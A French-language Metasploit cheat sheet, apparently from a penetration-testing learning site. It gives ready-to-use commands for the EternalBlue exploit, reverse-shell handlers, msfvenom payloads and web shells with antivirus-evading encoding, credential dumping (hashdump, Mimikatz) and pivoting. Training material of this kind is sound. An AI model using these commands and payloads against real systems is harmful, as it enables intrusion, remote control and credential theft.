Guide de référence Metasploit

Référence complète du framework d'exploitation

Plus de 2000 exploits • Payloads • Post-exploitation • Commandes msfconsole

📅 Mis à jour : Décembre 2024⏱️ 25 min de lecture🔧 Metasploit 6.x

📑 Navigation rapide

Commandes de base Recherche Exploits Payloads Meterpreter Post-exploitation Handlers Base de données

Qu'est-ce que Metasploit ?

Metasploit Framework est le framework de test de pénétration le plus utilisé au monde. Développé à l'origine par H.D. Moore en 2003, il est maintenant maintenu par Rapid7. Le framework inclut des milliers d'exploits, des centaines de payloads et des capacités étendues de post-exploitation.

Metasploit est préinstallé sur Kali Linux. L'édition Community gratuite est disponible sur metasploit.com.

📦 Installation et démarrage

Kali Linux (Préinstallé)

msfconsole

Démarrer avec la base de données

sudo msfdb init
msfconsole

Démarrage silencieux (sans bannière)

msfconsole -q

Exécuter des commandes au démarrage

msfconsole -x "use exploit/..."

🧭 Commandes de navigation de base

Commande Description
help Afficher toutes les commandes disponibles
help <commande> Obtenir l'aide pour une commande spécifique
exit / quit Quitter msfconsole
back Revenir du module actuel
banner Afficher une bannière aléatoire
version Afficher la version du framework
history Afficher l'historique des commandes
connect <ip> <port> Se connecter à un hôte (comme netcat)

🔍 Recherche de modules

# Recherche basique
search <mot-clé>

# Recherche par type
search type:exploit <mot-clé>
search type:auxiliary <mot-clé>
search type:post <mot-clé>
search type:payload <mot-clé>

# Recherche par plateforme
search platform:windows <mot-clé>
search platform:linux <mot-clé>

# Recherche par CVE
search cve:2021-44228

# Recherche par auteur
search author:hdm

# Recherche combinée
search type:exploit platform:windows smb

# Recherche par rang (excellent, great, good)
search rank:excellent type:exploit

Types de modules

exploit

Exploiter des vulnérabilités

auxiliary

Scanners, fuzzers, etc.

post

Modules de post-exploitation

payload

Shellcode et payloads

encoder

Encodage de payload

nop

Générateurs de NOP

evasion

Modules d'évasion AV

⚙️ Utilisation des modules

Commande Description
use <module> Sélectionner un module à utiliser
info Afficher les informations du module
options / show options Afficher les options du module
show advanced Afficher les options avancées
set <option> <valeur> Définir la valeur d'une option
setg <option> <valeur> Définir une option globale (persiste)
unset <option> Effacer la valeur d'une option
show payloads Lister les payloads compatibles
show targets Lister les cibles de l'exploit
check Vérifier si la cible est vulnérable
run / exploit Exécuter le module
exploit -j Exécuter en tâche de fond

📋 Exemple : Exploitation d'EternalBlue

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <target>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <attacker>
exploit

💣 Payloads

Types de payloads

Type Description
singles Payloads autonomes (pas de stager nécessaire)
stagers Petits payloads qui téléchargent le stage
stages Téléchargés par les stagers (ex: meterpreter)

Payloads courants

# Windows Meterpreter (staged)
windows/meterpreter/reverse_tcp
windows/x64/meterpreter/reverse_tcp

# Windows Meterpreter (stageless)
windows/meterpreter_reverse_tcp
windows/x64/meterpreter_reverse_tcp

# Linux Meterpreter
linux/x86/meterpreter/reverse_tcp
linux/x64/meterpreter/reverse_tcp

# Shells simples
windows/shell/reverse_tcp
linux/x86/shell/reverse_tcp

# Payloads HTTPS (contourne les pare-feu)
windows/meterpreter/reverse_https
windows/x64/meterpreter/reverse_https

💡 Staged vs Stageless

Staged (/) — payload initial plus petit, télécharge meterpreter. Stageless (_) — payload complet, plus gros mais plus fiable. Utilisez stageless quand des restrictions réseau peuvent bloquer le téléchargement du stage.

🎮 Commandes Meterpreter

Commandes principales

help Afficher toutes les commandes
background Mettre la session en arrière-plan
exit Terminer la session meterpreter
sysinfo Informations système
getuid ID de l'utilisateur actuel
getpid ID du processus actuel
ps Lister les processus en cours
migrate <pid> Migrer vers un autre processus
shell Passer au shell système

Commandes système de fichiers

pwd Afficher le répertoire de travail
cd <chemin> Changer de répertoire
ls Lister les fichiers
cat <fichier> Lire le contenu d'un fichier
download <fichier> Télécharger un fichier vers l'attaquant
upload <fichier> Uploader un fichier vers la cible
edit <fichier> Éditer un fichier avec vim
search -f <motif> Rechercher des fichiers

Élévation de privilèges

getsystem Tenter d'obtenir les privilèges SYSTEM
getprivs Lister les privilèges disponibles
hashdump Extraire les hash de mots de passe (nécessite SYSTEM)
load kiwi Charger l'extension Mimikatz
creds_all Extraire tous les identifiants (kiwi)

Réseau et pivoting

ipconfig / ifconfig Afficher la configuration réseau
arp Afficher le cache ARP
route Voir la table de routage
portfwd add -l <lport> -p <rport> -r <host> Redirection de port
run autoroute -s <subnet> Ajouter une route pour le pivoting

📡 Handlers et listeners

# Configurer un handler pour reverse shell
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <attacker>
set LPORT 4444
run

# Exécuter en tâche de fond
exploit -j

# Handler en une ligne
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST <attacker>; set LPORT 4444; run"

🔗 Gestion des sessions

Commande Description
sessions Lister toutes les sessions actives
sessions -i <id> Interagir avec une session
sessions -k <id> Terminer une session
sessions -u <id> Mettre à niveau un shell vers meterpreter
sessions -c <cmd> Exécuter une commande sur toutes les sessions

⚙️ Gestion des jobs

jobs Lister les jobs en cours
jobs -k <id> Terminer un job
jobs -K Terminer tous les jobs

🔧 Génération de payloads avec Msfvenom

Msfvenom est utilisé pour générer des payloads autonomes en dehors de msfconsole.

# Exécutable Windows
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -f exe -o shell.exe

# DLL Windows
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -f dll -o shell.dll

# ELF Linux
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -f elf -o shell.elf

# Shell PHP
msfvenom -p php/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -f raw -o shell.php

# Shell Python
msfvenom -p python/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -f raw -o shell.py

# Shell JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker> LPORT=4444 -f raw -o shell.jsp

# Shell ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -f asp -o shell.asp

# Fichier WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker> LPORT=4444 -f war -o shell.war

# Avec encodage (évasion AV)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -e x64/xor_dynamic -i 5 -f exe -o shell.exe

Options Msfvenom

-p Payload à utiliser
-f Format de sortie (exe, dll, elf, raw, etc.)
-o Fichier de sortie
-e Encodeur à utiliser
-i Itérations d'encodage
-b Caractères à éviter (ex: \x00\x0a)
-l payloads Lister tous les payloads
-l formats Lister les formats de sortie
-l encoders Lister les encodeurs

🗄️ Commandes base de données

# Initialiser la base de données
sudo msfdb init

# Vérifier le statut de la base de données
db_status

# Créer un workspace
workspace -a <nom>

# Changer de workspace
workspace <nom>

# Importer un scan nmap
db_import nmap_scan.xml

# Exécuter nmap depuis msfconsole
db_nmap -sV -O <target>

# Voir les hôtes
hosts

# Voir les services
services

# Voir les vulnérabilités
vulns

# Voir les identifiants
creds

# Voir le butin
loot

🎯 Modules de post-exploitation utiles

# Windows
post/windows/gather/hashdump
post/windows/gather/credentials/credential_collector
post/windows/gather/enum_logged_on_users
post/windows/gather/enum_applications
post/windows/manage/enable_rdp
post/multi/recon/local_exploit_suggester

# Linux
post/linux/gather/hashdump
post/linux/gather/enum_users_history
post/linux/gather/enum_system

# Multi-plateforme
post/multi/gather/ssh_creds
post/multi/recon/local_exploit_suggester

⚔️ Guide de référence Metasploit terminé !

Vous disposez maintenant d'une référence complète pour le framework d'exploitation le plus puissant en cybersécurité. De l'énumération à l'exploitation en passant par la post-exploitation, ces commandes sont utilisées par les testeurs de pénétration du monde entier.

Exploits Payloads Meterpreter Post-exploitation Msfvenom

Prêt à compromettre votre prochaine cible !

Validation des Connaissances

Démontrez votre compréhension pour gagner des points et progresser

1
Question du Chapitre

Quelle commande Metasploit est utilisée pour sélectionner un module d'exploit ?

1
Lire
2
Valider
3
Terminer

Prêt à suivre votre progression?

Créez un compte gratuit pour sauvegarder votre progression, gagner des points et accéder à plus de 170 labs pratiques de cybersécurité.

Commencer à Apprendre Gratuitement
Rejoignez 5 000+ hackers qui apprennent la cybersécurité avec des labs pratiques. Créer un Compte